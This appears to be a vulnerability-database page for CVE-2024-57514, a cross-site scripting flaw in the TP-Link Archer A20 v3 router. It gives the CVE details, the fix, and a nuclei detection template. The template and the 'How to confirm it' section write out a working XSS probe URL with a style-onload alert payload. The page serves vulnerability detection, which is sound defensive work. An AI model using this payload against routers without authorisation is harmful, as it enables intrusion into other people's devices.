HexBrain

Browse / CVEs / CVE-2024-57514

CVE-2024-57514· tp-link / tp-link-archer-a20-v3-router· CWE-79

TP-Link Archer A20 v3 Router - Cross-site Scripting

mediumseverity
4.8CVSS score
0.9%likelihood of exploitation, next 30 days
60%of all CVEs are less likely
Readycheck to confirm it

The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router's web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim's browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.

Impact

Authenticated attackers can inject malicious JavaScript into directory listing pages, executing arbitrary code in victim browsers when they visit crafted URLs.

Fix

Update TP-Link Archer A20 v3 router to firmware version later than 1.0.6 Build 20231011 that addresses the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/<style%20onload=alert`document.domain`;>../..%2f
Positive when: contains_all(body, "<style onload=alert`document.domain`;", "Index of") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-57514 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-57514

info:
  name: TP-Link Archer A20 v3 Router - Cross-site Scripting
  author: s4e-io
  severity: medium
  description: |
    The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router's web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim's browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.
  impact: |
    Authenticated attackers can inject malicious JavaScript into directory listing pages, executing arbitrary code in victim browsers when they visit crafted URLs.
  remediation: |
    Update TP-Link Archer A20 v3 router to firmware version later than 1.0.6 Build 20231011 that addresses the XSS vulnerability.
  reference:
    - https://www.zyenra.com/blog/xss-in-tplink-archer-a20.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57514
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2024-57514
    cwe-id: CWE-79
    epss-score: 0.00893
    epss-percentile: 0.59761
  metadata:
    max-request: 1
    vendor: tp-link
    product: tp-link-archer-a20-v3-router
  tags: cve,cve2024,tplink,router,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/<style%20onload=alert`document.domain`;>../..%2f"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<style onload=alert`document.domain`;", "Index of")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from